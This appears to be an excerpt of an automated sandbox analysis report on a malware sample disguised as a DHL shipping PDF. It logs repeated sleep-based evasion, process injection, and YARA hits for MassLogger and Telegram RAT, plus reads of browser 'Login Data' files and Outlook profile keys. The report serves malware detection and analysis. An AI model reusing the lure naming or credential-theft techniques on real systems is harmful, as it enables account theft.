Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595046	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594936	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594499	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594280	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Window / User API: threadDelayed 8362			Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Window / User API: threadDelayed 1487			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 4152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 1936	Thread sleep count: 8362 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 1936	Thread sleep count: 1487 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597702s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597253s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596973s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596621s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596464s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -595046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -594936s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -594718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -594499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -594390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe TID: 2096	Thread sleep time: -594280s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598249	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597702	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597253	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596973	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596621	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596464	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 595046	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594936	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594499	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 594280	Jump to behavior

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000003.00000002.4569755427.0000000001087000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll,

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Code function: 3_2_0536C168 LdrInitializeThunk,LdrInitializeThunk,

3_2_0536C168

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Memory written: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MSIL Logger

Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
